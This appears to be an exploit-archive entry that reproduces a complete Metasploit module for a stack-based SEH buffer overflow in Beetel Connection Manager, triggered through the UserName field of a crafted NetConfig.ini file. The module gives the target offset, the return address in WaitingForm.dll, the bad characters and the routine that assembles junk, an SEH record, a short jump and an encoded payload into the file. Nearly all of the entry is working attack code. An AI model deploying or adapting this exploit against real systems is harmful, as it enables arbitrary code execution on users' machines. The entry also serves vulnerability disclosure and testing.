Beetel Connection Manager NetConfig.ini Buffer Overflow

2013.10.30
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class Metasploit4 < Msf::Exploit Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow", 'Description' => %q{ This module exploits a stack-based buffer overflow on Beetel Connection Manager. The vulnerability exists in the parising of the UserName parameter in the NetConfig.ini file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP SP3 and Windows 7 SP1.b }, 'License' => MSF_LICENSE, 'Author' => [ "metacom", # Vuln/PoC "wvu" # Metasploit ], 'References' => [ [ "OSVDB", "98714" ], [ "EDB", "28969" ] ], 'Payload' => { "Space" => 1504, "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20", "DisableNops" => true }, 'Platform' => "win", 'Targets' => [ ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", { "Offset" => 468, "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) } ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 12 2013", 'DefaultTarget' => 0 )) register_options([ OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]), OptString.new("SECTION", [true, "Section name", "Edit Me"]) ], self.class) end def exploit section = datastore["SECTION"] sploit = "[#{section}]\r\n" \ "UserName=#{shell_popper}" file_create(sploit) end def shell_popper junk = rand_text(target["Offset"]) seh = generate_seh_record(target.ret) jump = Rex::Arch::X86.jmp_short(66) padding = rand_text(66) # Pad past buffer corruption junk << seh << jump << padding << payload.encoded end end

References:

http://cxsecurity.com/issue/WLB-2013100085


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